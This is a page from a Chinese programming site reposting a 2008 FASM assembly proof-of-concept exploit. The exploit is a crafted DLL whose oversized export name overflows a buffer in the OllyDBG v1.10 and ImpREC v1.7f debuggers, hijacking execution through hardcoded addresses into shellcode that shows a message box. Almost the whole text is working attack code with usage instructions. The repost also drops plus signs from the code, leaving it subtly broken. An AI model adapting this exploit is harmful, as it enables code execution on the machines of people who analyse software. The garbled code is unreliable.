欢迎来到福编程网,本站提供各种互联网专业知识!

OllyDBG v1.10 and ImpREC v1.7f (export name) BOF PoC

发布时间:1970-01-01 作者:佚名 来源:互联网
;-------------------------------------------------------------------------;;OllyDBGv1.10andImpRECv1.7fexportnamebufferoverflowvulnerability;PoC(probablyolderversionsaffectedtoo,nottestedthough.);;Included
;-------------------------------------------------------------------------;

; OllyDBG v1.10 and ImpREC v1.7f export name buffer overflow vulnerability

; PoC (probably older versions affected too, not tested though.)

;

; Included shellcode shows a messagebox (WinXP SP2) and is configured for

; OllyDBG. See lines 60-105 for more details

;-------------------------------------------------------------------------;

; Usage:

; Load this DLL to your process and try to attach OllyDBG or ImpREC

; to it -> Shellcode executed >:)

;

; Shellcode gets fired also if program is run under OllyDBG.

;

; Bug discovered and PoC coded by:

; ~ Defsanguje, Defsanguje [at] gmail [dot] com [July 7 2008]

;-------------------------------------------------------------------------;

; Coded in FASM

;-------------------------------------------------------------------------;

format PE GUI 4.0 DLL

include 'win32a.inc'

entry DllEntryPoint

section '.code' code readable executable

proc DllEntryPoint, hinstDLL,fdwReason,lpvReserved

mov eax, TRUE

ret

endp

;-------------------------------------------------------------------------;

; Modified version from original export-macro.

;-------------------------------------------------------------------------;

macro ExportExploit dllname,[label]

{ common

local module,addresses,names,ordinal,count

count = 0

forward

count = count 1

common

dd 0,0,0,RVA module,1

dd count,count,RVA addresses,RVA names,RVA ordinal

addresses:

forward

dd RVA label

common

names:

forward

local name

dd RVA name

common

ordinal: count = 0

forward

dw count

count = count 1

common

module db dllname,0

forward

;-------------------------------------------------------------------------;

; Exploit for OllyDBG v1.10

;-------------------------------------------------------------------------;

a: name

db 3e0h dup (90h)

dd 6d553b78h ; ESP to EBP

dd 6d55e5ffh ; EBP to EAX

dd 0defdefdeh

dd 0defdefdeh

dd 6d56d25eh ; add eax, 40h

dd 0defdefdeh

dd 6d52e1efh ; jmp EAX =)

db 40h-18h dup(90h)

c: push eax

mov eax, (ShellCodeStart-c) xor 0defdefdeh

xor eax, 0defdefdeh

add eax, [esp]

jmp eax

b: db 0bd0h - (ShellCodeEnd-ShellCodeStart) - (b-a) dup (90h)

ShellCodeStart:

db 81h,0ECh,07Dh,0FFh,0FFh,0FFh

db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh

db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2

db 0FFh,0D3h

ShellCodeEnd:

dd 0045F823h ; New EIP

db 300h dup(90h)

db 0

;-------------------------------------------------------------------------;

; Exploit for ImpREC v1.7f

;-------------------------------------------------------------------------;

; name

; db 0C0Ch - (ShellCodeEnd-ShellCodeStart) dup (90h)

;ShellCodeStart:

; db 81h,0ECh,07Dh,0FFh,0FFh,0FFh

; db 2Bh,0C9h,51h,51h,51h,51h,51h,0BBh

; db 8Ah,05h,45h,7Eh ; Address of messagebox in winxp sp2

; db 0FFh,0D3h

;ShellCodeEnd:

; dd 12c1b8h ; New EIP

; db 0

;-------------------------------------------------------------------------;

common

local x,y,z,str1,str2,v1,v2

x = count shr 1

while x > 0

y = x

while y < count

z = y

while z-x >= 0

load v1 dword from names z*4

str1=($-RVA $) v1

load v2 dword from names (z-x)*4

str2=($-RVA $) v2

while v1 > 0

load v1 from str1 %-1

load v2 from str2 %-1

if v1 <> v2

break

end if

end while

if v1

load v1 dword from names z*4

load v2 dword from names (z-x)*4

store dword v1 at names (z-x)*4

store dword v2 at names z*4

load v1 word from ordinal z*2

load v2 word from ordinal (z-x)*2

store word v1 at ordinal (z-x)*2

store word v2 at ordinal z*2

else

break

end if

z = z-x

end while

y = y 1

end while

x = x shr 1

end while }

section '.edata' export data readable

;-------------------------------------------------------------------------;

; Call the macro

;-------------------------------------------------------------------------;

ExportExploit 'exploit.dll',

$

;-------------------------------------------------------------------------;

相关推荐